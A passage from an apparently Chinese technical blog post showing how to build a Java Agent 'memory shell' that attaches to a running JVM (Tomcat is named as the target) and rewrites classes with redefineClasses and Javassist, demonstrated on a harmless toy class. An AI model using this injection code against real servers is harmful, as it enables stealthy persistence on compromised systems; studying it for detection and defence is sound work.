true</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">制作pom.xml：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;<br/>&lt;project xmlns=&#34;<a href="http://maven.apache.org/POM/4.0.0" target="_blank">http://maven.apache.org/POM/4.0.0</a>&#34;<br/>         xmlns:xsi=&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;<br/>         xsi:schemaLocation=&#34;<a href="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" target="_blank">http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd</a>&#34;&gt;<br/>    &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;<br/>    &lt;dependencies&gt;<br/>        &lt;dependency&gt;<br/>            &lt;groupId&gt;org.javassist&lt;/groupId&gt;<br/>            &lt;artifactId&gt;javassist&lt;/artifactId&gt;<br/>            &lt;version&gt;3.20.0-GA&lt;/version&gt;<br/>        &lt;/dependency&gt;<br/>        &lt;dependency&gt;<br/>            &lt;groupId&gt;com.sun&lt;/groupId&gt;<br/>            &lt;artifactId&gt;tools&lt;/artifactId&gt;<br/>            &lt;version&gt;1.8.0&lt;/version&gt;<br/>            &lt;scope&gt;system&lt;/scope&gt;<br/>            &lt;systemPath&gt;C:/Program Files/Java/jdk1.8.0_221/lib/tools.jar&lt;/systemPath&gt;<br/>        &lt;/dependency&gt;<br/>    &lt;/dependencies&gt;<br/> <br/>    &lt;groupId&gt;org.example&lt;/groupId&gt;<br/>    &lt;artifactId&gt;AgentTest&lt;/artifactId&gt;<br/>    &lt;version&gt;1.0-SNAPSHOT&lt;/version&gt;<br/> <br/>    &lt;build&gt;<br/>        &lt;plugins&gt;<br/>            &lt;plugin&gt;<br/>                &lt;artifactId&gt;maven-assembly-plugin&lt;/artifactId&gt;<br/>                &lt;configuration&gt;<br/>                    &lt;descriptorRefs&gt;<br/>                        &lt;descriptorRef&gt;jar-with-dependencies&lt;/descriptorRef&gt;<br/>                    &lt;/descriptorRefs&gt;<br/>                    &lt;archive&gt;<br/>                        &lt;manifestFile&gt;src/main/resources/MANIFEST.MF&lt;/manifestFile&gt;<br/>                    &lt;/archive&gt;<br/>                &lt;/configuration&gt;<br/>                &lt;executions&gt;<br/>                    &lt;execution&gt;<br/>                        &lt;id&gt;make-assembly&lt;/id&gt;<br/>                        &lt;phase&gt;package&lt;/phase&gt;<br/>                        &lt;goals&gt;<br/>                            &lt;goal&gt;assembly&lt;/goal&gt;<br/>                        &lt;/goals&gt;<br/>                    &lt;/execution&gt;<br/>                &lt;/executions&gt;<br/>            &lt;/plugin&gt;<br/> <br/>        &lt;/plugins&gt;<br/>    &lt;/build&gt;<br/>&lt;/project&gt;</code></pre><h4 style="font-size: 1em;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">第三步</h4><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">定义加载器，这里加载器部分的代码也放在了jar包里编译：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">import com.sun.tools.attach.VirtualMachine;<br/>import com.sun.tools.attach.VirtualMachineDescriptor;<br/> <br/>import java.io.File;<br/>import java.util.List;<br/> <br/> <br/>public class AttachAgent {<br/> <br/>    public static void main(String[] args) throws Exception {<br/> <br/>        VirtualMachine                 vm;<br/>        List&lt;VirtualMachineDescriptor&gt; vmList;<br/> <br/>        String agentFile = new File( &#34;E:\\AgentTest\\target\\AgentTest-1.0-SNAPSHOT-jar-with-dependencies.jar&#34;).getCanonicalPath();<br/>        System.out.println(agentFile);<br/>        try {<br/>            vmList = VirtualMachine.list();<br/>            for (VirtualMachineDescriptor vmd : vmList) {<br/>                System.out.println(vmd.displayName());<br/> <br/>                if (vmd.displayName().contains(&#34;Main&#34;) || &#34;&#34;.equals(vmd.displayName())) {<br/>                    vm = VirtualMachine.attach(vmd);<br/> <br/>                    if (null != vm) {<br/>                        vm.loadAgent(agentFile);<br/>                        System.out.println(&#34;MemoryShell has been injected.&#34;);<br/>                        vm.detach();<br/>                        return;<br/>                    }<br/>                }<br/> <br/>            }<br/> <br/>            System.out.println(&#34;No Tomcat Virtual Machine found.&#34;);<br/>        } catch (Exception e) {<br/>            e.printStackTrace();<br/>        }<br/>    }<br/>}</code></pre><h4 style="font-size: 1em;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">第四步</h4><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">随后重新定义要替换的类，获取该类的字节码：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">public class Peoples {<br/>    public void say(){<br/>        System.out.println(&#34;world&#34;);<br/>    }<br/>}</code></pre><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">在注射器中看到加载成功：</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.14666666666666667" title="null" data-w="600" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=03163a10&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9HMxvqMyjYEf4IVLb3icibP2VF39xqBpt9R04B1G9BC14icDz3BRT1o0aBQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">主程序显示加载成功但并未生效：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3" title="null" data-w="600" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=b027ebcd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9H7DUvpzgqo1mfvjlctotnc1U4jlPMt8uUekl6r5n91LMpJblCVgUXnw%2F640%3Fwx_fmt%3Dpng"/></figure><h4 style="font-size: 1em;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">尝试解决问题</h4><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">之前认为retransformClasses可以直接修改一个类，但实际存在限制。retransform主要还是强调装饰，想要修改一个类，还是需要redefineClasses：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">ClassDefinition def = new ClassDefinition(Peoples.class, Objects.requireNonNull(TransformerTest<br/>        .getBytesFromFile(&#34;E:\\AgentTest\\target\\classes\\Peoples.class&#34;)));<br/>inst.redefineClasses(new ClassDefinition[] { def });<br/>System.out.println(&#34;redefineClasses success&#34;);</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">结果还是不行：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.25166666666666665" title="null" data-w="600" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=158670be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9HCeEHGtzqpBnBbo6uNeYg1K3okdgkPKLzGMU7YcYNuCAUKWkJhXtuUw%2F640%3Fwx_fmt%3Dpng"/></figure><h4 style="font-size: 1em;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">使用arthas进行诊断</h4><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">选择虚拟机，进行诊断</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5216666666666666" title="null" data-w="600" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c1ade5c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9HuOx3mDXhNdJdV5nR4cjInwnJuw8gQkQNJZJmlMQkLFNAwTdn0JibMpg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">使用watch检测say方法的时候发现一直没有变化，使用jad反编译，发现此时类定义已经发生变化：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.43003064351378956" title="null" data-w="979" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=5129842f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9HibbsSXWvOMicRibFfYESj3EJyy10GQoPDgH1sKEOy4bac5hX4jHZtW2uw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">实际上我们已经成功的替换了这个类。</p><h4 style="font-size: 1em;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">解决问题</h4><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">后续经过对比发现问题，一般的Agent内存马项目替换或者修改的都是jdk当中的类，而这里是在Jar包中和主程序中分别定义了一个Peoples类，虽然代码一样但实际可能不是一个类，即在jar包中：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.16055045871559634" title="null" data-w="1090" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=9159df72&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9Hbyl59Pr8zaY1qxcpM4soNTfGquiatSr01Qrtia3HY4m4D9odfia848u5g%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">不能使用自己的定义，而使用jdk的就没有问题。通过Instrumentation的函数解决这个问题：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">Class[] classes = inst.getAllLoadedClasses();<br/>        for(Class c : classes) {<br/>            System.out.println(&#34;searching&#34;);<br/>            System.out.println(c.getName());<br/>            if (c.getName().equalsIgnoreCase(&#34;Peoples&#34;)) {<br/>                ClassDefinition def = new ClassDefinition(c, Objects.requireNonNull(TransformerTest<br/>                        .getBytesFromFile(&#34;E:\\AgentTest\\target\\classes\\Peoples.class&#34;)));<br/>                inst.redefineClasses(new ClassDefinition[]{def});<br/>                System.out.println(&#34;redefineClasses success&#34;);<br/>            }</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在jar包中动态获取类，这样不需要类定义。查看结果使用redefineClasses依旧无效。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">JavaAssist</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">上面的例子我们用一个新类去redefineClasses失败了，暂时不清楚是什么原因。目前成熟的Agent内存马项目都是用retransformClasses加上JavaAssist实现的。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Javaassist 就是一个用来 处理 Java 字节码的类库。它可以在一个已经编译好的类中添加新的方法，或者是修改已有的方法，并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象，通过完全手动的方式。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">使用流程如下：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4279228149829739" title="null" data-w="1762" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=affbab9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9HCTrBkGxnIkumU1fEaThnyibeuWfsRnkrFN6WdtAMA2rbG8fH4xrS02w%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">我们对刚才的Agent进行修改，首先是agentmain：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">Class[] classes = inst.getAllLoadedClasses();<br/>        for(Class c : classes) {<br/>            inst.addTransformer(new TransformerTest(), true);<br/>            System.out.println(&#34;add class success&#34;);<br/>            inst.retransformClasses(c);<br/>            System.out.println(&#34;retransform success&#34;);<br/>        }</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">其次是transform：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">if(!className.equalsIgnoreCase(&#34;Peoples&#34;)){<br/>            return null;<br/>        }<br/> <br/> <br/>        ClassPool classPool = ClassPool.getDefault();<br/>        classPool.appendClassPath(new LoaderClassPath(loader));<br/>        CtClass ctClass = null;<br/>        try {<br/>            ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));<br/>        } catch (IOException e) {<br/>            e.printStackTrace();<br/>        }<br/>        CtMethod ctm= null;<br/>        try {<br/>            ctm = ctClass.getDeclaredMethod(&#34;say&#34;);<br/>        } catch (NotFoundException e) {<br/>            e.printStackTrace();<br/>        }<br/>        StringBuilder codeBuilder = new StringBuilder()<br/>                .append(&#34;System.out.println(\&#34;world\&#34;);&#34;).append(&#34;\n&#34;)<br/>                ;<br/>        String beforeCode= codeBuilder.toString();<br/>        try {<br/>            ctm.insertAfter(beforeCode);<br/>        } catch (CannotCompileException e) {<br/>            e.printStackTrace();<br/>        }<br/>        try {<br/>            return ctClass.toBytecode();<br/>        } catch (IOException e) {<br/>            e.printStackTrace();<br/>        } catch (CannotCompileException e) {<br/>            e.printStackTrace();<br/>        }<br/>        return null;</code></pre><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">重新注入，发现已经成功修改运行中的函数：</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.38034682080924853" title="null" data-w="865" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=2940e6a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9HrbDGQ99EWhUMCWPPXIeb28vsbm06j0x7xwpZlGTel98qBjtUFXsDEg%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">几个坑点</h3><ol style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. 在windows下偶尔会遇到 VirtualMachine.list搜索不到目标进程的情况，多试几次就能找到 .</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. 使用arthas诊断会影响注入程序的Agent，如下图：</p><figure style="line-height: 1.75;margin: 1.5em 8px;"><img class="rich_pages wxw-img" data-ratio="0.39818548387096775" title="null" data-w="992" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=df7d0314&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797kygHQt1FydAV61cBicicU9HGJ14ltyk7Apz7nsZ3rnWRLiazckg8c7JBs7rzmvr2fEGues7CRAw2kQ%2F640%3Fwx_fmt%3Dpng"/></figure><p>3. transformer对每个函数都会触发，应当做好判断，若不是要修改的类应该返回原本的字节码，如下</p><figure style="line-height: 1.75;margin: 1.5em 8px;"><img class="rich_pages wxw-img" data-ratio="0.15164369034994699" title="null" data-w="943" style="line-height: 1.75;border-radius: 